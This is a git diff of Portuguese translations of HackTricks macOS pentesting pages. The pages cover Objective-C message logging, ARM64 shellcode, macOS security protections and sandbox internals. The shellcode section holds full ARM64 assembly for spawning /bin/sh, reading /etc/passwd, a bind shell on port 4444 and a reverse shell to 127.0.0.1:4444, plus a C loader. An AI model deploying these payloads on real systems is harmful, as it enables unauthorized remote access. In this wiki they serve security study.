Definindo a variável de ambiente **`NSObjCMessageLoggingEnabled=1`** é possível registrar quando esta função é chamada em um arquivo como `/tmp/msgSends-pid`.
|
||||
Definindo a variável de ambiente **`NSObjCMessageLoggingEnabled=1`** é possível registrar quando essa função é chamada em um arquivo como `/tmp/msgSends-pid`.
|
||||
|
||||
Além disso, configurando **`OBJC_HELP=1`** e chamando qualquer binário, você pode ver outras variáveis de ambiente que poderia usar para **registrar** quando certas ações Objc-C ocorrem.
|
||||
Além disso, definindo **`OBJC_HELP=1`** e chamando qualquer binário, você pode ver outras variáveis de ambiente que poderia usar para **logar** quando certas ações Objc-C ocorrem.
|
||||
{% endhint %}
|
||||
|
||||
Quando esta função é chamada, é necessário encontrar o método chamado da instância indicada, para isso são feitas diferentes buscas:
|
||||
Quando essa função é chamada, é necessário encontrar o método chamado da instância indicada, para isso, diferentes buscas são feitas:
|
||||
|
||||
* Realizar uma busca otimista no cache:
|
||||
* Se bem-sucedido, concluído
|
||||
* Realizar busca otimista no cache:
|
||||
* Se bem-sucedido, feito
|
||||
* Adquirir runtimeLock (leitura)
|
||||
* Se (realize && !cls->realized) realizar classe
|
||||
* Se (initialize && !cls->initialized) inicializar classe
|
||||
* Se (realizar && !cls->realized) realizar classe
|
||||
* Se (inicializar && !cls->initialized) inicializar classe
|
||||
* Tentar cache próprio da classe:
|
||||
* Se bem-sucedido, concluído
|
||||
* Se bem-sucedido, feito
|
||||
* Tentar lista de métodos da classe:
|
||||
* Se encontrado, preencher cache e concluir
|
||||
* Se encontrado, preencher cache e feito
|
||||
* Tentar cache da superclasse:
|
||||
* Se bem-sucedido, concluído
|
||||
* Se bem-sucedido, feito
|
||||
* Tentar lista de métodos da superclasse:
|
||||
* Se encontrado, preencher cache e concluir
|
||||
* Se (resolver) tentar resolver método e repetir a partir da busca da classe
|
||||
* Se ainda estiver aqui (= tudo o mais falhou) tentar encaminhador
|
||||
* Se encontrado, preencher cache e feito
|
||||
* Se (resolver) tentar resolvedor de método e repetir a busca da classe
|
||||
* Se ainda aqui (= tudo o mais falhou) tentar encaminhador
|
||||
|
||||
### Shellcodes
|
||||
|
||||
|
@ -430,7 +433,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
|
|||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
Para macOS mais recentes:
|
||||
Para versões mais recentes do macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
|
@ -439,7 +442,7 @@ done
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>Código C para testar o shellcode</summary>
|
||||
<summary>C código para testar o shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -561,7 +564,7 @@ sh_path: .asciz "/bin/sh"
|
|||
|
||||
#### Ler com cat
|
||||
|
||||
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha de endereços).
|
||||
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha dos endereços).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -587,7 +590,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Invocar comando com sh a partir de um fork para que o processo principal não seja encerrado
|
||||
#### Invocar comando com sh de um fork para que o processo principal não seja encerrado
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -631,9 +634,9 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### Shell de Conexão
|
||||
#### Bind shell
|
||||
|
||||
Shell de conexão em [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
|
||||
Bind shell de [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -715,7 +718,7 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### Shell reverso
|
||||
#### Reverse shell
|
||||
|
||||
De [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell para **127.0.0.1:4444**
|
||||
```armasm
|
||||
|
@ -785,16 +788,16 @@ mov x16, #59
|
|||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoie o HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Proteções de Segurança do macOS
|
||||
# macOS Security Protections
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Suporte ao HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -25,9 +25,13 @@ Mais informações em:
|
|||
[macos-gatekeeper.md](macos-gatekeeper.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Processos Limitantes
|
||||
## Processes Limitants
|
||||
|
||||
### SIP - Proteção de Integridade do Sistema
|
||||
### MACF
|
||||
|
||||
|
||||
|
||||
### SIP - System Integrity Protection
|
||||
|
||||
{% content-ref url="macos-sip.md" %}
|
||||
[macos-sip.md](macos-sip.md)
|
||||
|
@ -41,7 +45,7 @@ O Sandbox do macOS **limita as aplicações** que estão rodando dentro do sandb
|
|||
[macos-sandbox](macos-sandbox/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### TCC - **Transparência, Consentimento e Controle**
|
||||
### TCC - **Transparency, Consent, and Control**
|
||||
|
||||
**TCC (Transparência, Consentimento e Controle)** é uma estrutura de segurança. É projetada para **gerenciar as permissões** das aplicações, especificamente regulando seu acesso a recursos sensíveis. Isso inclui elementos como **serviços de localização, contatos, fotos, microfone, câmera, acessibilidade e acesso total ao disco**. O TCC garante que os aplicativos só possam acessar esses recursos após obter o consentimento explícito do usuário, reforçando assim a privacidade e o controle sobre os dados pessoais.
|
||||
|
||||
|
@ -49,38 +53,38 @@ O Sandbox do macOS **limita as aplicações** que estão rodando dentro do sandb
|
|||
[macos-tcc](macos-tcc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Restrições de Lançamento/Ambiente & Cache de Confiança
|
||||
### Launch/Environment Constraints & Trust Cache
|
||||
|
||||
As restrições de lançamento no macOS são um recurso de segurança para **regulamentar a iniciação de processos** definindo **quem pode lançar** um processo, **como** e **de onde**. Introduzidas no macOS Ventura, elas categorizam binários do sistema em categorias de restrição dentro de um **cache de confiança**. Cada binário executável tem **regras** definidas para seu **lançamento**, incluindo **auto**, **pai** e **responsável**. Estendidas a aplicativos de terceiros como **Restrições de Ambiente** no macOS Sonoma, esses recursos ajudam a mitigar potenciais explorações do sistema ao governar as condições de lançamento de processos.
|
||||
As restrições de lançamento no macOS são um recurso de segurança para **regulamentar a iniciação de processos** definindo **quem pode iniciar** um processo, **como** e **de onde**. Introduzidas no macOS Ventura, elas categorizam binários do sistema em categorias de restrição dentro de um **cache de confiança**. Cada binário executável tem **regras** definidas para seu **lançamento**, incluindo **auto**, **pai** e **responsável**. Estendidas a aplicativos de terceiros como **Environment** Constraints no macOS Sonoma, esses recursos ajudam a mitigar potenciais explorações do sistema ao governar as condições de lançamento de processos.
|
||||
|
||||
{% content-ref url="macos-launch-environment-constraints.md" %}
|
||||
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MRT - Ferramenta de Remoção de Malware
|
||||
## MRT - Malware Removal Tool
|
||||
|
||||
A Ferramenta de Remoção de Malware (MRT) é outra parte da infraestrutura de segurança do macOS. Como o nome sugere, a principal função do MRT é **remover malware conhecido de sistemas infectados**.
|
||||
|
||||
Uma vez que o malware é detectado em um Mac (seja pelo XProtect ou por outros meios), o MRT pode ser usado para automaticamente **remover o malware**. O MRT opera silenciosamente em segundo plano e normalmente é executado sempre que o sistema é atualizado ou quando uma nova definição de malware é baixada (parece que as regras que o MRT tem para detectar malware estão dentro do binário).
|
||||
Uma vez que o malware é detectado em um Mac (seja pelo XProtect ou por outros meios), o MRT pode ser usado para **remover automaticamente o malware**. O MRT opera silenciosamente em segundo plano e normalmente é executado sempre que o sistema é atualizado ou quando uma nova definição de malware é baixada (parece que as regras que o MRT tem para detectar malware estão dentro do binário).
|
||||
|
||||
Enquanto o XProtect e o MRT são parte das medidas de segurança do macOS, eles desempenham funções diferentes:
|
||||
|
||||
* **XProtect** é uma ferramenta preventiva. Ele **verifica arquivos à medida que são baixados** (via certos aplicativos), e se detectar qualquer tipo conhecido de malware, **impede que o arquivo seja aberto**, evitando assim que o malware infecte seu sistema em primeiro lugar.
|
||||
* **XProtect** é uma ferramenta preventiva. Ele **verifica arquivos à medida que são baixados** (por meio de certos aplicativos) e, se detectar qualquer tipo conhecido de malware, **impede que o arquivo seja aberto**, evitando assim que o malware infecte seu sistema em primeiro lugar.
|
||||
* **MRT**, por outro lado, é uma **ferramenta reativa**. Ele opera após o malware ter sido detectado em um sistema, com o objetivo de remover o software ofensivo para limpar o sistema.
|
||||
|
||||
O aplicativo MRT está localizado em **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
|
||||
## Gerenciamento de Tarefas em Segundo Plano
|
||||
## Background Tasks Management
|
||||
|
||||
**macOS** agora **alerta** toda vez que uma ferramenta usa uma **técnica bem conhecida para persistir a execução de código** (como Itens de Login, Daemons...), para que o usuário saiba melhor **qual software está persistindo**.
|
||||
**macOS** agora **alerta** toda vez que uma ferramenta usa uma técnica bem conhecida para persistir a execução de código (como Itens de Login, Daemons...), para que o usuário saiba melhor **qual software está persistindo**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Isso é executado com um **daemon** localizado em `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` e o **agente** em `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
|
||||
|
||||
A maneira como **`backgroundtaskmanagementd`** sabe que algo está instalado em uma pasta persistente é **obtendo os FSEvents** e criando alguns **manipuladores** para eles.
|
||||
A maneira como **`backgroundtaskmanagementd`** sabe que algo está instalado em uma pasta persistente é **obtendo os FSEvents** e criando alguns **handlers** para esses.
|
||||
|
||||
Além disso, há um arquivo plist que contém **aplicativos bem conhecidos** que frequentemente persistem mantidos pela Apple localizado em: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||
Além disso, há um arquivo plist que contém **aplicativos bem conhecidos** que frequentemente persistem, mantido pela Apple, localizado em: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||
```json
|
||||
[...]
|
||||
"us.zoom.ZoomDaemon" => {
|
||||
|
@ -142,9 +146,10 @@ Referências e **mais informações sobre BTM**:
|
|||
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
||||
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
||||
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,4 +161,3 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
|
|
|
@ -120,7 +120,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
[...]
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tudo criado/modificado por um aplicativo em Sandbox receberá o **atributo de quarentena**. Isso impedirá um espaço de sandbox ao acionar o Gatekeeper se o aplicativo sandbox tentar executar algo com **`open`**.
|
||||
Tudo criado/modificado por um aplicativo em Sandbox receberá o **atributo de quarentena**. Isso impedirá um espaço de sandbox ao acionar o Gatekeeper se o aplicativo em sandbox tentar executar algo com **`open`**.
|
||||
{% endhint %}
|
||||
|
||||
## Perfis de Sandbox
|
||||
|
@ -280,7 +280,7 @@ Isso irá **avaliar a string após esta concessão** como um perfil de Sandbox.
|
|||
|
||||
### Compilando e descompilando um Perfil de Sandbox
|
||||
|
||||
A ferramenta **`sandbox-exec`** usa as funções `sandbox_compile_*` da `libsandbox.dylib`. As principais funções exportadas são: `sandbox_compile_file` (espera um caminho de arquivo, parâmetro `-f`), `sandbox_compile_string` (espera uma string, parâmetro `-p`), `sandbox_compile_name` (espera um nome de um contêiner, parâmetro `-n`), `sandbox_compile_entitlements` (espera um plist de concessões).
|
||||
A ferramenta **`sandbox-exec`** utiliza as funções `sandbox_compile_*` da `libsandbox.dylib`. As principais funções exportadas são: `sandbox_compile_file` (espera um caminho de arquivo, parâmetro `-f`), `sandbox_compile_string` (espera uma string, parâmetro `-p`), `sandbox_compile_name` (espera um nome de um contêiner, parâmetro `-n`), `sandbox_compile_entitlements` (espera um plist de concessões).
|
||||
|
||||
Esta versão revertida e [**open source da ferramenta sandbox-exec**](https://newosxbook.com/src.jl?tree=listings\&file=/sandbox\_exec.c) permite que **`sandbox-exec`** escreva em um arquivo o perfil de sandbox compilado.
|
||||
|
||||
|
@ -310,7 +310,7 @@ As extensões permitem conceder privilégios adicionais a um objeto e são conce
|
|||
|
||||
As extensões são armazenadas no segundo slot de rótulo MACF acessível a partir das credenciais do processo. A seguinte **`sbtool`** pode acessar essas informações.
|
||||
|
||||
Observe que as extensões geralmente são concedidas por processos permitidos, por exemplo, `tccd` concederá o token de extensão de `com.apple.tcc.kTCCServicePhotos` quando um processo tentar acessar as fotos e for permitido em uma mensagem XPC. Em seguida, o processo precisará consumir o token de extensão para que ele seja adicionado a ele.\
|
||||
Observe que as extensões geralmente são concedidas por processos permitidos, por exemplo, `tccd` concederá o token de extensão de `com.apple.tcc.kTCCServicePhotos` quando um processo tentar acessar as fotos e for permitido em uma mensagem XPC. Então, o processo precisará consumir o token de extensão para que ele seja adicionado a ele.\
|
||||
Observe que os tokens de extensão são longos hexadecimais que codificam as permissões concedidas. No entanto, eles não têm o PID permitido codificado, o que significa que qualquer processo com acesso ao token pode ser **consumido por múltiplos processos**.
|
||||
|
||||
Observe que as extensões estão muito relacionadas às concessões também, então ter certas concessões pode automaticamente conceder certas extensões.
|
||||
|
@ -357,7 +357,7 @@ A chamada da função `___sandbox_ms` envolve `mac_syscall`, indicando no primei
|
|||
* **passthrough\_access (#12)**: Permite acesso direto a um recurso, ignorando as verificações da sandbox.
|
||||
* **set\_container\_path (#13)**: (apenas iOS) Define um caminho de contêiner para um grupo de aplicativos ou ID de assinatura.
|
||||
* **container\_map (#14)**: (apenas iOS) Recupera um caminho de contêiner do `containermanagerd`.
|
||||
* **sandbox\_user\_state\_item\_buffer\_send (#15)**: (iOS 10+) Define metadados de modo de usuário na sandbox.
|
||||
* **sandbox\_user\_state\_item\_buffer\_send (#15)**: (iOS 10+) Define metadados de modo usuário na sandbox.
|
||||
* **inspect (#16)**: Fornece informações de depuração sobre um processo em sandbox.
|
||||
* **dump (#18)**: (macOS 11) Despeja o perfil atual de uma sandbox para análise.
|
||||
* **vtrace (#19)**: Rastreia operações da sandbox para monitoramento ou depuração.
|
||||
|
@ -373,7 +373,7 @@ A chamada da função `___sandbox_ms` envolve `mac_syscall`, indicando no primei
|
|||
|
||||
## Sandbox.kext
|
||||
|
||||
Note que no iOS a extensão do kernel contém **todos os perfis codificados** dentro do segmento `__TEXT.__const` para evitar que sejam modificados. As seguintes são algumas funções interessantes da extensão do kernel:
|
||||
Note que, no iOS, a extensão do kernel contém **todos os perfis codificados** dentro do segmento `__TEXT.__const` para evitar que sejam modificados. As seguintes são algumas funções interessantes da extensão do kernel:
|
||||
|
||||
* **`hook_policy_init`**: Ele conecta `mpo_policy_init` e é chamado após `mac_policy_register`. Realiza a maioria das inicializações da Sandbox. Também inicializa o SIP.
|
||||
* **`hook_policy_initbsd`**: Configura a interface sysctl registrando `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` e `security.mac.sandbox.debug_mode` (se inicializado com `PE_i_can_has_debugger`).
|
||||
|
@ -381,17 +381,17 @@ Note que no iOS a extensão do kernel contém **todos os perfis codificados** de
|
|||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`** usa mais de uma centena de hooks via MACF. A maioria dos hooks apenas verifica alguns casos triviais que permitem realizar a ação; se não, eles chamarão **`cred_sb_evalutate`** com as **credenciais** do MACF e um número correspondente à **operação** a ser realizada e um **buffer** para a saída.
|
||||
**`Sandbox.kext`** usa mais de uma centena de hooks via MACF. A maioria dos hooks apenas verifica alguns casos triviais que permitem realizar a ação; caso contrário, chamarão **`cred_sb_evalutate`** com as **credenciais** do MACF e um número correspondente à **operação** a ser realizada e um **buffer** para a saída.
|
||||
|
||||
Um bom exemplo disso é a função **`_mpo_file_check_mmap`** que conecta **`mmap`** e que começará a verificar se a nova memória será gravável (e se não permitir a execução), então verificará se está sendo usada para o cache compartilhado do dyld e, se sim, permitirá a execução, e finalmente chamará **`cred_sb_evalutate`** para realizar verificações adicionais de permissão.
|
||||
Um bom exemplo disso é a função **`_mpo_file_check_mmap`** que conecta **`mmap`** e que começará a verificar se a nova memória será gravável (e se não, permitirá a execução), então verificará se está sendo usada para o cache compartilhado do dyld e, se sim, permitirá a execução, e finalmente chamará **`sb_evaluate_internal`** (ou um de seus wrappers) para realizar verificações adicionais de permissão.
|
||||
|
||||
Além disso, entre os centenas de hooks que a Sandbox usa, há 3 em particular que são muito interessantes:
|
||||
Além disso, dentre os centenas de hooks que a Sandbox usa, há 3 em particular que são muito interessantes:
|
||||
|
||||
* `mpo_proc_check_for`: Aplica o perfil se necessário e se não foi aplicado anteriormente.
|
||||
* `mpo_vnode_check_exec`: Chamado quando um processo carrega o binário associado, então uma verificação de perfil é realizada e também uma verificação que proíbe execuções SUID/SGID.
|
||||
* `mpo_cred_label_update_execve`: Isso é chamado quando o rótulo é atribuído. Este é o mais longo, pois é chamado quando o binário está totalmente carregado, mas ainda não foi executado. Ele realizará ações como criar o objeto sandbox, anexar a estrutura da sandbox às credenciais kauth, remover o acesso a portas mach...
|
||||
|
||||
Note que **`cred_sb_evalutate`** é um wrapper sobre **`sb_evaluate`** e essa função obtém as credenciais passadas e então realiza a avaliação usando a função **`eval`** que geralmente avalia o **perfil da plataforma**, que por padrão é aplicado a todos os processos e então o **perfil específico do processo**. Note que o perfil da plataforma é um dos principais componentes do **SIP** no macOS.
|
||||
Note que **`_cred_sb_evalutate`** é um wrapper sobre **`sb_evaluate_internal`** e essa função obtém as credenciais passadas e então realiza a avaliação usando a função **`eval`** que geralmente avalia o **perfil da plataforma** que é, por padrão, aplicado a todos os processos e então o **perfil de processo específico**. Note que o perfil da plataforma é um dos principais componentes do **SIP** no macOS.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
|
|
Loading…
Reference in a new issue